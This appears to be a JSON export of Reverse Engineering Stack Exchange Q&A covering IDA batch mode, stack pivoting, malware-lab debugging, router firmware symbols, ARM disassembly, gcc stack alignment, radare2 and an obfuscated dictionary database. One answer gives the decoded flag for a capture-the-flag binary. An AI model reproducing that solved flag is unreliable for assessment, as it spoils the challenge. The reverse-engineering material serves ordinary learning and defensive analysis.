        "Answer": "<p>This looks like the <code>LEB128</code> encoding.\u00a0</p>\n\n<p>\u00a0</p>\n\n<p>Essentially, this is a variable length encoding where the lowest 7 bits of each byte store part of the value and highest bit of each byte is set if it's not the last byte. The successive 7-bit values are stored in little-endian order.</p>\n\n<p>\u00a0</p>\n\n<p>For more details, and especially for how signed numbers are handled, see either the <a href=\"http://dwarfstd.org/\" rel=\"nofollow noreferrer\" title=\"DWARF Debugging Standard\">DWARF Debugging Standard</a> or the <a href=\"https://source.android.com/devices/tech/dalvik/dex-format.html\" rel=\"nofollow noreferrer\" title=\"DEX format\">Android DEX file format</a> documentation.</p>\n\n<p>\u00a0</p>\n\n<p>This is similar to the Variable-Length Quantity format used in MIDI files and ASN.1 encoding which uses big-endian ordering.</p>\n"
    },
    {
        "Id": "15118",
        "CreationDate": "2017-04-07T09:42:16.827",
        "Body": "<p>i have tried almost all links about batch mode.\nMy Question is that i did not get the user manual about batch mode of ida pro that how can i use the commands like -c -A -B and how i can run script on on any file with batch or terminal mode commands\nand what the use of idag, idaw</p>\n",
        "Title": "Batch mode of ida pro 6.5",
        "Tags": "|ida|disassembly|idapython|ida-plugin|",
        "Answer": "<p>You should do the following:</p>\n\n<ul>\n<li>Open a command line interpreter window of Windows OS (cmd.exe)</li>\n<li>Find the exact location of the IDA executable that you are usually running (should be idaq.exe in modern versions, you can check the exact name in desktop shortcut by examining its properties)</li>\n<li>Run it from the comma\nnd line interpreter window (paste the IDA executable full name, surround it with quotes) with <code>-B</code> command line switch. You'll have something like this: <code>\"c:\\Program Files (x86)\\IDA 6.95\\idaq.exe\" -B {full path to  the file you want to analyze}</code></li>\n<li>After running this command you should see the idb and assembly file in the same directory where your executable that you tried to analyze resides. Please note that you should run it on behalf of user that has write access permission for the folder where it resides. In addition you need to use appropriate IDA version: if the analyzed executable has 64 bit instruction set you have to use idaq64 executable.</li>\n</ul>\n\n<p>Here is how it works (and worked always) on my computer with IDA 6.95 (I analyzing 64 bit object file test.o, and corresponding ida database extension is not idb, but i64):</p>\n\n<pre><code>C:\\Users\\[censored]\\Downloads\\idatest&gt;copy z:\\test.o .\\\n        1 file(s) copied.\n\nC:\\Users\\[censored]\\Downloads\\idatest&gt;\"c:\\Program Files (x86)\\IDA 6.95\\idaq64.exe\" -B .\\test.o\n\nC:\\Users\\[censored]\\Downloads\\idatest&gt;dir\n Volume in drive C is OSDisk\n Volume Serial Number is F88B-CF68\n\n Directory of C:\\Users\\[censored]\\Downloads\\idatest\n\n04/13/2017  04:20 PM    &lt;DIR&gt;          .\n04/13/2017  04:20 PM    &lt;DIR&gt;          ..\n04/13/2017  04:20 PM             2,985 test.asm\n04/13/2017  04:20 PM            65,992 test.i64\n03/22/2017  06:44 PM             1,424 test.o\n               3 File(s)         70,401 bytes\n               2 Dir(s)   8,296,001,536 bytes free\n</code></pre>\n\n<p>Let me know in comments if something doesn't work. Btw, help on command line switches is <a href=\"https://www.hex-rays.com/products/ida/support/idadoc/417.shtml\" rel=\"nofollow noreferrer\">here</a>. </p>\n"
    },
    {
        "Id": "15120",
        "CreationDate": "2017-04-07T16:41:14.963",
        "Body": "<p>I am reading up a writeup on an example attack <a href=\"https://translate.google.com/translate?sl=auto&amp;tl=en&amp;js=y&amp;prev=_t&amp;hl=en&amp;ie=UTF-8&amp;u=https%3A%2F%2Fwww.lxpark.com%2Fctf%2Fpwnable-kr-unlink-writeup&amp;edit-text=&amp;act=url\" rel=\"nofollow noreferrer\">here</a> where I have come across the technique called <code>stack migration</code>. The page is translated to English. Googling doesn't give me any fruitful pointer on the technique itself. Is <code>stack migration</code> a standard attack technique? If so, pointers would be appreciated.</p>\n",
        "Title": "Is stack migration a standard attack technique?",
        "Tags": "|exploit|stack|",
        "Answer": "<p>I don't know Chinese but It seems the post describes <em>stack pivoting</em>. It is a technique used in cases where you can't control the contents of the actual stack used by the target but can change the stack pointer to point into some other memory area you control (e.g. heap). For example, <a href=\"http://hypervsir.blogspot.com/2015/01/a-software-solution-to-defend-against.html\" rel=\"nofollow noreferrer\">this blog post</a> explains:</p>\n<blockquote>\n<p>With stack pivoting, attacks can pivot from the real stack to a fake\nstack which could be an attacker-controlled buffer, such as the heap,\nthen attackers can control the program execution. For example, this is\nachieved by controlling data pointed to by RSP(stack pointer\nregister), such that each ret instruction results in incrementing RSP\nand transferring execution to the next address chosen by attackers.</p>\n</blockquote>\n<p>So yes, it's a real and common technique, you just used not the best translation :)</p>\n"
    },
    {
        "Id": "15127",
        "CreationDate": "2017-04-08T12:06:38.320",
        "Body": "<p>I am working on Lab13-01.exe from \"Practical Malware Analysis\" (you can download it from <a href=\"http://I%20am%20working%20on%20Lab13-01.exe%20from%20%22Practical%20Malware%20Analysis%22.%20%20When%20I%20run%20it%20without%20debuggers%20in%20my%20VMWare%20it%20runs%20without%20errors.%20%20I%20started%20to%20analyze%20it%20with%20OllyDbg%202.01.%20%20There%20is%20some%20point%20in%20the%20code%20that%20it%20receives%20exception%20and%20I%20don&#39;t%20understand%20why.%20%20It%20has%20resource%20that%20contains%20encoded%20string:%20%20LLLKIZXORXZWVZWLZI%5EZUZWBHRHXTV%20%20This%20resource%20is%20at%20address%200x408060%20At%200x4011C1%20it%20overwrites%20the%20first%20byte%20of%20the%20string%20with%20AL%20(0x77):%20MOV%20BYTE%20PTR%20DS:[ECX],%20AL%20%20Then%20I%20received:%20%22Access%20violation%20when%20writing%20to%20[00408060]%22%20%20When%20I%20press%20Shift+Run/Step,%20it%20succeed%20to%20run.%20%20%20There%20number%20of%20things%20I%20don&#39;t%20understand%20here.%20%201.%20If%20it%20can&#39;t%20write%20to%20[00408060],%20how%20come%20when%20I%20press%20Shift+Run/Step%20it%20succeed%20?%202.%20Why%20it%20can&#39;t%20write%20to%20[00408060]%20?%20Is%20there%20some%20flag%20that%20prevent%20from%20writing%20to%20this%20aread%20(if%20yes,%20where%20can%20I%20see%20it?)%20?\" rel=\"nofollow noreferrer\">here</a>).</p>\n\n<p>When I run it without debuggers in my VMWare it runs without errors.</p>\n\n<p>I started to analyze it with OllyDbg 2.01.</p>\n\n<p>There is some point in the code that it receives exception and I don't understand why.</p>\n\n<p>It has resource that contains encoded string:  </p>\n\n<pre><code>LLLKIZXORXZWVZWLZI^ZUZWBHRHXTV\n</code></pre>\n\n<p>This resource is saved at address <code>0x408060</code><br>\nAt <code>0x4011C1</code> it overwrites the first byte of the string with <code>AL (0x77)</code>:</p>\n\n<pre><code>MOV BYTE PTR DS:[ECX], AL\n</code></pre>\n\n<p>Then I received:</p>\n\n<blockquote>\n  <p>Access violation when writing to [00408060]</p>\n</blockquote>\n\n<p><a href=\"https://i.stack.imgur.com/AFYRp.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/AFYRp.png\" alt=\"enter image description here\"></a></p>\n\n<p>When I press Shift+Run/Step, it succeed to run.</p>\n\n<p>There number of things I don't understand here.</p>\n\n<ol>\n<li>If it can't write to <code>[00408060]</code>, how come when I press Shift+Run/Step it succeed ?</li>\n<li>Why it can't write to <code>[00408060]</code> ? Is there some flag that prevent from writing to this aread (if yes, where can I see it?) ? </li>\n</ol>\n",
        "Title": "Why the program can't write to specific memory area",
        "Tags": "|ollydbg|exception|",
        "Answer": "<p>I went to the memory map window.<br>\nI searched for the memory address range for 408060.<br>\nIt  was under <code>.rsrc</code> (Resources).<br>\nIt had only read permissions, I set it with write permissions too and now it works:  </p>\n\n<p><a href=\"https://i.stack.imgur.com/op0pv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/op0pv.png\" alt=\"enter image description here\"></a></p>\n"
    },
    {
        "Id": "15128",
        "CreationDate": "2017-04-08T13:25:54.587",
        "Body": "<p>I am trying to reverse engineer the <a href=\"http://www.linksys.com/EU/en/support/WAG120N\" rel=\"nofollow noreferrer\">Linksys WAG120N</a> router firmware. I've been able to unpack it and extract the bootloader, kernel and filesystem.</p>\n\n<p>The kernel is MIPS big endian. I loaded the kernel into IDA pro with start address of <code>0x80002000</code>. The entry point is <code>0x801B2040</code>.</p>\n\n<p>The problem I have now is that all the functions are named as <code>sub_</code>. I need a symbol table to help me reverse this binary. Binwalk doesn't find any symbol tables and I'm not sure how to rebuild a symbol table, as I am new to  this sort of stuff.</p>\n\n<p>I read a post <a href=\"https://reverseengineering.stackexchange.com/questions/4549/rebuild-symbol-table\">Rebuild symbol table</a>, but that was about static and shared libraries, which my kernel is not.</p>\n\n<p>Running <code>file</code> on my kernel gives</p>\n\n<pre><code>kernel: data\n</code></pre>\n\n<p>I don't know if the binary has a symbol table, but if it does, I don't know how to extract it. Or is there another way of reversing the binary?</p>\n\n<p>Any help is appreciated.</p>\n\n<p>EDIT: I have found what appears to be a symbol table. It has the libc string functions and lots of other functions. But there aren't many cross references to these function names in the disassembly. How do I use this? </p>\n",
        "Title": "Rebuilding a symbol table for a firmware binary",
        "Tags": "|ida|disassembly|symbols|kernel|",
        "Answer": "<p>It sounds like you aren't sure what you want to do exactly. Is there any part of the firmware you want to reverse engineer in particular? I suggest you first start by reading some blog posts on <a href=\"http://www.devttys0.com\" rel=\"nofollow noreferrer\">devttys0.com</a>, as he seems like an excellent source for information about reverse-engineering router firmwares.</p>\n\n<p>If a binary contains symbols, IDA Pro should automatically load them for you. Very often router firmwares have had their symbols stripped. However, the Linux kernel is licensed under the GPL, meaning that the manufacturer is obligated to provide the source code for the kernel. And Linksys <a href=\"http://www.linksys.com/us/support-article?articleNum=114663\" rel=\"nofollow noreferrer\">does provide the source code</a> for your router's kernel; you can start by looking at that.</p>\n\n<p>Often, however, interesting stuff is in kernel modules and/or binaries in the rootfs, not the kernel itself. I downloaded the <a href=\"http://www.linksys.com/us/support-article?articleNum=156227\" rel=\"nofollow noreferrer\">firmware for your router</a> and extracted it with <code>binwalk -Mrev</code>, and binwalk was indeed able to extract the rootfs. Look through it to see if you can find anything interesting.</p>\n\n<p>As an example, let's look at the main web CGI binary, <code>usr/sbin/setup.cgi</code>. Running <code>file</code> against this file gives the following:</p>\n\n<pre><code>usr/sbin/setup.cgi: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped\n</code></pre>\n\n<p>The binary has been stripped, but looking at the symbol table  with <code>readelf -s usr/sbin/setup.cgi</code>, we can still see quite a few interesting function names. Next, we can look at the strings in the binary with <code>strings</code>. (I personally prefer using <code>strings -n8</code> because often strings less than 8 characters are false positives, and when they aren't, they are usually unimportant anyways.) Often the strings of a binary can reveal quite a bit about what the binary does and how the binary works, and this is made easier by the fact that router manufacturers love using <code>system(3)</code> to run Linux shell commands.</p>\n\n<p>Once you know that you have found an interesting binary, you can then load it into IDA Pro to disassemble it and start reverse-engineering it.</p>\n"
    },
    {
        "Id": "15140",
        "CreationDate": "2017-04-11T11:01:46.493",
        "Body": "<p>My problem is: hexrays thinks that semicolon is visible character. \nIn IDAPython idaapi.is_visible_char(';') returns True</p>\n\n<p>In picture you can see \"field_100C;\" highlighted, but \"field_100C\" not highlighted.</p>\n\n<p><a href=\"https://i.stack.imgur.com/h1RM9.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/h1RM9.png\" alt=\"enter image description here\"></a></p>\n\n<p>In ida.cfg I have following NameChars (this is ARM LE):<br>\nNameChars =<br>\n        \"_0123456789\"<br>\n        \"ABCDEFGHIJKLMNOPQRSTUVWXYZ\"<br>\n        \"abcdefghijklmnopqrstuvwxyz\";  </p>\n\n<p>In any other NameChars array semicolon is not added.<br>\nSo, how can this behaviour get fixed? Is there idapython call of some sorts? Can plugins be a reason for this? Is there GUI option to check?</p>\n\n<p>Found this, but it didnt help<br>\n<a href=\"https://www.hex-rays.com/products/ida/support/sdkdoc/name_8hpp.html\" rel=\"nofollow noreferrer\">https://www.hex-rays.com/products/ida/support/sdkdoc/name_8hpp.html</a></p>\n",
        "Title": "Incorrect semicolon usage in decompiled variables",
        "Tags": "|ida|ida-plugin|",
        "Answer": "<p>Still don't know what was the root of the problem, but PC restart helped...<br>\n';' stopped magically appearing in NameChars array.</p>\n"
    },
    {
        "Id": "15141",
        "CreationDate": "2017-04-11T11:48:07.117",
        "Body": "<p>The binary is from here: <a href=\"https://files.fm/u/qtqmhhdd\" rel=\"nofollow noreferrer\">https://files.fm/u/qtqmhhdd</a></p>\n<p>I've been attempting this a couple of days. It's an ELF-64 bit file and I've gdb and IDA to see how it works for a while. You can run the file by</p>\n<pre><code>./reverse1.bin TEST (outputs a fail message)\n</code></pre>\n<p>In gdb it runs a _Z5checkPc function and you can use &quot;disas check&quot;. It uses the flag from address <code>0x601038</code> which is</p>\n<pre><code> synt{0p5r7996pnq3qn36377036onor7342s41pq30r3n3q0p46n283862718o7n6s78n}\n</code></pre>\n<p>But I don't see it where it actually gets used in the code.</p>\n<p>From the check function it seems to does a bunch of operations (or, add, ...) to your arg. I thought it would do a compare to see determine if it &quot;fails&quot; or &quot;success&quot; at <code>0x00000000004005b0</code> but that is not right, strangely.</p>\n<p>Any insights on what to do?</p>\n",
        "Title": "Reverse engineering binary file to find flag",
        "Tags": "|binary-analysis|decompilation|binary|",
        "Answer": "<p>Actually, you got the flag!</p>\n<p>Do a ROT13 on</p>\n<pre><code>synt{0p5r7996pnq3qn36377036onor7342s41pq30r3n3q0p46n283862718o7n6s78n} \n</code></pre>\n<p>to get</p>\n<pre><code>flag{0c5e7996cad3da36377036babe7342f41cd30e3a3d0c46a283862718b7a6f78a}\n</code></pre>\n"
    },
    {
        "Id": "15145",
        "CreationDate": "2017-04-12T02:14:22.517",
        "Body": "<p>Working to debug and analyze a piece of firmware, I've come across a bunch of cgi files which are all symlinked to a central cgi file. The first thing the main function does is run a series of string comparisons to identify which cgi file's functions should be run.</p>\n\n<p>The issue is I am now trying to map the functions to their respective cgi names, but I am relatively new to binary debugging and cannot figure how to identify which values represent the string hard-coded into memory that the input is being compared to. I am using Radare2 and a sample of the code and a screenshot of the structure can be seen below. </p>\n\n<p>Any advice would be appreciated!</p>\n\n<pre><code>0x000099a4   08001be5    ldr r0, [fp - local_8h]   ; const char * s1\n0x000099a8   b81709e3    movw r1, 0x97b8\n0x000099ac   021040e3    movt r1, 2                ; const char * s2\n0x000099b0   5affffeb     bl sym.imp.strcmp        ;[3]; int strcmp(const char *s1, const char *s2)\n0x000099b4   0030a0e1    mov r3, r0\n0x000099b8   000053e3    cmp r3, 0\n0x000099bc   0500001a    bne 0x99d8                ;[4]\n0x000099c0   10001be5    ldr r0, [fp - local_10h]\n0x000099c4   14101be5    ldr r1, [fp - local_14h]\n0x000099c8   18201be5    ldr r2, [fp - local_18h]\n0x000099cc   1f4e00eb    bl sub.setuid_250         ;[5]\n0x000099d0   0c000be5    str r0, [fp - local_ch]\n</code></pre>\n\n<p><a href=\"https://i.stack.imgur.com/0cBhd.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0cBhd.png\" alt=\"Structure\"></a></p>\n",
        "Title": "Trying to identify a string in a strcmp instruction",
        "Tags": "|disassembly|binary-analysis|firmware|radare2|binary|",
        "Answer": "<p>You need to read the ARM instruction reference. <code>movt</code> is the <a href=\"http://www.keil.com/support/man/docs/armasm/armasm_dom1361289879724.htm\" rel=\"nofollow noreferrer\">\"Move Top\" instruction</a>, which sets the top 16 bits of a register to the specified value without changing the low 16 bits.</p>\n\n<p>In other words, the sequence:</p>\n\n<pre><code>movw r1, 0x97b8\nmovt r1, 2    \n</code></pre>\n\n<p>is equivalent to:</p>\n\n<pre><code>r1 = 0x97b8\nr1 |= (2&lt;&lt;16);\n</code></pre>\n\n<p>which results in  <code>r1= 0x297b8</code>, so that check that address for the string being compared to.</p>\n"
    },
    {
        "Id": "15146",
        "CreationDate": "2017-04-12T06:09:21.430",
        "Body": "<p>I want to know, Is there any websites which has malware files (Windows OS) that are detected by YARA rules?</p>\n\n<p><strong>Note</strong>: I know some websites to get android malware samples using YARA.\nBut, I need Windows OS based malware.</p>\n",
        "Title": "Is there any websites to get malware files using YARA rules?",
        "Tags": "|windows|malware|yara|",
        "Answer": "<p>An additional source of such samples, which I don't know why nobody listed, is virustotal.com. It lets you execute what they call \"ruleset\" and \"retrohunt\" searches which are basically running yara rules on every sample processed through virustotal and every sample from the last 3 months. This is a paid service but it's definitely worth it.</p>\n\n<p>Here's an image that shows the retro-hunt and yara search web UI:</p>\n\n<p><a href=\"https://i.stack.imgur.com/M2GGu.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/M2GGu.png\" alt=\"yara ruleset search example\"></a></p>\n"
    },
    {
        "Id": "15159",
        "CreationDate": "2017-04-13T17:33:55.247",
        "Body": "<p>I downloaded <a href=\"https://www.microsoft.com/en-us/store/p/%e3%83%87%e3%82%b8%e3%82%bf%e3%83%ab%e5%a4%a7%e8%be%9e%e6%b3%89/9wzdncrdn6fn\" rel=\"nofollow noreferrer\">\u30c7\u30b8\u30bf\u30eb\u5927\u8f9e\u6cc9</a> trial from Microsoft Store to try it out. The interface was not very good in my opinion, so I thought that maybe it is possible to extract the dictionary and convert it to another dictionary format.</p>\n\n<p>I opened <code>Assets\\db\\resource_A</code> with <a href=\"http://sqlitebrowser.org/\" rel=\"nofollow noreferrer\">SQLite Browser</a>, and found some text matching the user interface, but there was a problem:</p>\n\n<p><a href=\"https://i.stack.imgur.com/9XcD4.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/9XcD4.png\" alt=\"daijisen\"></a></p>\n\n<p>Only the Latin alphabet are the same between these two. Here's some raw data I collected:</p>\n\n<pre><code>db,real\nIT\u3620\u6579\u5d8b,IT\u30fb\u6570\u5b66\n\u51a0\u5d8b,\u533a\u5b66\n\u51f9\u5d8b,\u5730\u5b66\n\u7144\u74b2,\u751f\u7269\n\u74b2\u704f\u3620\u518d\u5d8b,\u7269\u7406\u30fb\u5316\u5b66\n\u7144\u6960,\u751f\u6d3b\n\u7160\u5606,\u753b\u50cf\n\u6379\u8b06\u8fd0\u52bb\u8a8c,\u65b0\u898f\u8ffd\u52a0\u8a9e\n\u5677\u8c8c,\u54c1\u8a5e\n\u3425\u343a\u3206\u340d,\u3053\u3068\u308f\u3056\n\u56e4\u5d85\u7304\u8a8c,\u56db\u5b57\u719f\u8a9e\n\u3222\u3200\u3222\u362e\u8a8c,\u30ab\u30bf\u30ab\u30ca\u8a9e\nABC\u7553\u5781,ABC\u7565\u53f7\n\u5da3\u8a8c,\u5b63\u8a9e\n\u96e3\u8a92\u8a8c,\u96e3\u8aad\u8a9e\n\u717a\u6e55\u3620\u48e6\u6393,\u7528\u6cd5\u30fb\u4e0b\u63a5\n\u6347\u5d8b,\u6587\u5b66\n\u6753\u61da\u57a9,\u65e5\u672c\u53f2\n\u48cd\u755e\u57a9,\u4e16\u754c\u53f2\n</code></pre>\n\n<p>I can see that for example \u5b66 corresponds to \u5d8b in the database, but when I checked if there was a set code point shift or something, the output was pretty messy. Here's some data on that (db, correct, db hex, correct hex, db-correct):</p>\n\n<pre><code>I   T   \u3620   \u6579   \u5d8b\nI   T   \u30fb   \u6570   \u5b66\n0x49    0x54    0x3620  0x6579  0x5d8b\n0x49    0x54    0x30fb  0x6570  0x5b66\n0x0 0x0 0x525   0x9 0x225\n\n\u51a0   \u5d8b\n\u533a   \u5b66\n0x51a0  0x5d8b\n0x533a  0x5b66\n-0x19a  0x225\n\n\u51f9   \u5d8b\n\u5730   \u5b66\n0x51f9  0x5d8b\n0x5730  0x5b66\n-0x537  0x225\n\n\u7144   \u74b2\n\u751f   \u7269\n0x7144  0x74b2\n0x751f  0x7269\n-0x3db  0x249\n\n\u74b2   \u704f   \u3620   \u518d   \u5d8b\n\u7269   \u7406   \u30fb   \u5316   \u5b66\n0x74b2  0x704f  0x3620  0x518d  0x5d8b\n0x7269  0x7406  0x30fb  0x5316  0x5b66\n0x249   -0x3b7  0x525   -0x189  0x225\n\n\u7144   \u6960\n\u751f   \u6d3b\n0x7144  0x6960\n0x751f  0x6d3b\n-0x3db  -0x3db\n\n\u7160   \u5606\n\u753b   \u50cf\n0x7160  0x5606\n0x753b  0x50cf\n-0x3db  0x537\n\n\u6379   \u8b06   \u8fd0   \u52bb   \u8a8c\n\u65b0   \u898f   \u8ffd   \u52a0   \u8a9e\n0x6379  0x8b06  0x8fd0  0x52bb  0x8a8c\n0x65b0  0x898f  0x8ffd  0x52a0  0x8a9e\n-0x237  0x177   -0x2d   0x1b    -0x12\n\n\u5677   \u8c8c\n\u54c1   \u8a5e\n0x5677  0x8c8c\n0x54c1  0x8a5e\n0x1b6   0x22e\n\n\u3425   \u343a   \u3206   \u340d\n\u3053   \u3068   \u308f   \u3056\n0x3425  0x343a  0x3206  0x340d\n0x3053  0x3068  0x308f  0x3056\n0x3d2   0x3d2   0x177   0x3b7\n\n\u56e4   \u5d85   \u7304   \u8a8c\n\u56db   \u5b57   \u719f   \u8a9e\n0x56e4  0x5d85  0x7304  0x8a8c\n0x56db  0x5b57  0x719f  0x8a9e\n0x9 0x22e   0x165   -0x12\n\n\u3222   \u3200   \u3222   \u362e   \u8a8c\n\u30ab   \u30bf   \u30ab   \u30ca   \u8a9e\n0x3222  0x3200  0x3222  0x362e  0x8a8c\n0x30ab  0x30bf  0x30ab  0x30ca  0x8a9e\n0x177   0x141   0x177   0x564   -0x12\n\nA   B   C   \u7553   \u5781\nA   B   C   \u7565   \u53f7\n0x41    0x42    0x43    0x7553  0x5781\n0x41    0x42    0x43    0x7565  0x53f7\n0x0 0x0 0x0 -0x12   0x38a\n\n\u5da3   \u8a8c\n\u5b63   \u8a9e\n0x5da3  0x8a8c\n0x5b63  0x8a9e\n0x240   -0x12\n\n\u96e3   \u8a92   \u8a8c\n\u96e3   \u8aad   \u8a9e\n0x96e3  0x8a92  0x8a8c\n0x96e3  0x8aad  0x8a9e\n0x0 -0x1b   -0x12\n\n\u717a   \u6e55   \u3620   \u48e6   \u6393\n\u7528   \u6cd5   \u30fb   \u4e0b   \u63a5\n0x717a  0x6e55  0x3620  0x48e6  0x6393\n0x7528  0x6cd5  0x30fb  0x4e0b  0x63a5\n-0x3ae  0x180   0x525   -0x525  -0x12\n\n\u6347   \u5d8b\n\u6587   \u5b66\n0x6347  0x5d8b\n0x6587  0x5b66\n-0x240  0x225\n\n\u6753   \u61da   \u57a9\n\u65e5   \u672c   \u53f2\n0x6753  0x61da  0x57a9\n0x65e5  0x672c  0x53f2\n0x16e   -0x552  0x3b7\n\n\u48cd   \u755e   \u57a9\n\u4e16   \u754c   \u53f2\n0x48cd  0x755e  0x57a9\n0x4e16  0x754c  0x53f2\n-0x549  0x12    0x3b7\n</code></pre>\n\n<p>If you want to see a pattern, there are some characters that are from the same distance of their corresponding character in the database (okay maybe it's just the birthday problem though):</p>\n\n<h2>-0x12</h2>\n\n<ul>\n<li>0x8a9e</li>\n<li>0x7565</li>\n<li>0x63a5</li>\n</ul>\n\n<h2>-0x3db</h2>\n\n<ul>\n<li>0x751f</li>\n<li>0x6d3b</li>\n<li>0x753b</li>\n</ul>\n\n<p>Also the distance between the real character and the database character isn't very large, none of them are in the 0x1000's.</p>\n\n<p><a href=\"https://www.google.ch/patents/US20100131518\" rel=\"nofollow noreferrer\">Here's</a> some patent about character set based obfuscation. Not sure if it's in any way related to this one.</p>\n\n<p>Is this some common character encoding or am I looking at an obfuscated database?</p>\n",
        "Title": "Recognizing a possibly obfuscated character encoding used in a database",
        "Tags": "|encodings|",
        "Answer": "<p>Since it's a Store app, most likely it's a .net executable so it shouldn't be too difficult to decompile it and see what it does with the data from the database. I expect they do apply some encryption or obfuscation on the data but it does not seem to be something obvious from your samples. </p>\n"
    },
    {
        "Id": "15173",
        "CreationDate": "2017-04-17T00:06:24.470",
        "Body": "<p>I wrote a small C program below:</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\nint sub(int x, int y){\n  return 2*x+y;\n}\n\nint main(int argc, char ** argv){\n  int a;\n  a = atoi(argv[1]);\n  return sub(argc,a);\n}\n</code></pre>\n\n<p>Compiled with gcc 5.4.0 and target 32 bit x86. I got the following in disassembly:</p>\n\n<pre><code>0804841b &lt;main&gt;:\n 804841b: 8d 4c 24 04           lea    0x4(%esp),%ecx\n 804841f: 83 e4 f0              and    $0xfffffff0,%esp\n 8048422: ff 71 fc              pushl  -0x4(%ecx)\n 8048425: 55                    push   %ebp\n 8048426: 89 e5                 mov    %esp,%ebp\n 8048428: 53                    push   %ebx\n 8048429: 51                    push   %ecx\n 804842a: 83 ec 10              sub    $0x10,%esp\n 804842d: 89 cb                 mov    %ecx,%ebx\n....\n</code></pre>\n\n<p>What are the first three instructions before <code>push %ebp</code> doing? I haven't seen those in older gcc compiled binaries.</p>\n",
        "Title": "What is the purpose of these instructions before the main preamble?",
        "Tags": "|disassembly|x86|gcc|",
        "Answer": "<h1>What does this do?</h1>\n\n<p>These three statements serve to <em>move</em> the stackframe of <code>main</code>, beginning with its return address, to the next 16-byte-aligned address.</p>\n\n<pre><code>lea    0x4(%esp),%ecx    # save address of arguments\nand    $0xfffffff0,%esp  # align stack\npushl  -0x4(%ecx)        # move return address\n...                      # continue normal preamble\n</code></pre>\n\n<p>At the same time, the arguments to <code>main</code> (<code>argc</code> and <code>argv</code>) are not moved, so a pointer to them is saved in <code>%ecx</code>.</p>\n\n<p>Recall the layout of the stack upon entering <code>main</code>:</p>\n\n<pre><code>%esp+8:  argv (a pointer to an array of pointers)\n%esp+4:  argc (a 32-bit integer)\n%esp+0:  return address (from call)\n</code></pre>\n\n<p>The arguments sit right above the return address, so <code>%esp+4</code> is saved to <code>%ecx</code> before the stack pointer is adjusted.\nNext, <code>%ecx</code> also serves as our pointer to locate the original return address, <code>-4(%ecx)</code>, which we push to our new stack frame.</p>\n\n<p>After the rest of the preamble, the stack will look like this:</p>\n\n<pre><code>%ecx+4:  argv pointer\n%ecx+0:  argc\n%ecx-4:  original return address\n         ...\n%esp+4:  copy of return address\n%esp+0:  saved base pointer\n</code></pre>\n\n<p>In your code, you can also see that <code>%ecx</code> is pushed onto the stack (i.e. saved as a local variable) after the preamble; it will be restored from there at the end of the function which will look like this:</p>\n\n<pre><code>...\nmov    -0x8(%ebp),%ecx   # load pointer to argc\nleave                    # unwind stack frame, pop %ebp\nlea    -0x4(%ecx),%esp   # restore original stack pointer\nret                      # jump out, using the original return address!\n</code></pre>\n\n<h1>Why is all this done at all?</h1>\n\n<p>Modern processors like data aligned to 16-byte boundaries for various reasons; some operations may take significant performance hits otherwise, others might not work at all.</p>\n\n<p>Adjusting the <code>main</code> stack frame once allows the rest of the code to run without further adjustment as long as care is taken to always allocate stack in multiples of 16 bytes before a call. That is why you will often see something like this:</p>\n\n<pre><code>sub    $0xc,%esp    # pad stack by 12 bytes\npush   %eax         # push 4-byte argument\ncall   puts\n</code></pre>\n\n<p><strong>NB:</strong> The x86-64 ABI makes the 16-byte stack alignment mandatory. Incidentally this means that you <em>will not</em> find a frame adjustment on <code>main</code> in 64-bit code - the stack is already aligned.</p>\n"
    },
    {
        "Id": "15181",
        "CreationDate": "2017-04-18T16:29:32.927",
        "Body": "<p>I am struggling with a stripped binary, and I would like to visualize the <code>main()</code> function with the <code>VVV</code> command (ascii-art CFG representation).</p>\n\n<p>Usually, the steps are the following:</p>\n\n<ol>\n<li><code>#&gt; r2 ./crackme</code> (run radare2 on the crackme).</li>\n<li><code>[0x00005430]&gt; aaa</code> (start the analysis of the binary).</li>\n<li><code>s main</code> (seek to the address of <code>main</code>).</li>\n<li><code>VVV</code> (switch to the CFG view of the binary).</li>\n</ol>\n\n<p><a href=\"https://i.stack.imgur.com/XRY51.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/XRY51.png\" alt=\"enter image description here\"></a></p>\n\n<p>Unfortunately, my crackme is stripped (including the <code>main()</code> function). I can see the address of the <code>main()</code> function thanks to the first argument of the <code>__libc_start_main()</code> function. But, I always end-up with the following error message:</p>\n\n<pre><code>      Not in a function. Type 'df' to define it here\n\n--press any key--\n</code></pre>\n\n<p>How can I work around this problem. For example, I first tried to add my own symbols on the binary to mark the start of the <code>main()</code> function, but I miserably failed... Any idea ?</p>\n\n<p><strong>EDIT</strong></p>\n\n<p>Here is my attempt to add a flag to the binary:</p>\n\n<pre><code>#&gt; r2 ./ch23.bin \n[0x000083b8]&gt; aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[ ] \n[aav: using from to 0x8000 0x8e64\nUsing vmin 0x8000 and vmax 0x10880\naav: using from to 0x8000 0x8e64\nUsing vmin 0x8000 and vmax 0x10880\n[x] Analyze len bytes of instructions for references (aar)\n[x] Analyze function calls (aac)\n[ ] [*] Use -AA or aaaa to perform additional experimental analysis.\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan))\n[0x000083b8]&gt; pdf\n            ;-- section_end..plt:\n            ;-- section..text:\n/ (fcn) entry0 44\n|   entry0 ();\n|           ; UNKNOWN XREF from 0x00008018 (unk)\n|           ; UNKNOWN XREF from 0x00008c18 (unk)\n|           0x000083b8      00b0a0e3       mov fp, 0                   ; [14] va=0x000083b8 pa=0x000003b8 sz=800 vsz=800 rwx=--r-x .text\n|           0x000083bc      00e0a0e3       mov lr, 0\n|           0x000083c0      04109de4       pop {r1}\n|           0x000083c4      0d20a0e1       mov r2, sp\n|           0x000083c8      04202de5       str r2, [sp, -4]!\n|           0x000083cc      04002de5       str r0, [sp, -4]!\n|           0x000083d0      10c09fe5       ldr ip, [0x000083e8]        ; [0x83e8:4]=0x8664\n|           0x000083d4      04c02de5       str ip, [sp, -4]!\n|           0x000083d8      0c009fe5       ldr r0, [0x000083ec]        ; [0x83ec:4]=0x8470\n|           0x000083dc      0c309fe5       ldr r3, [0x000083f0]        ; 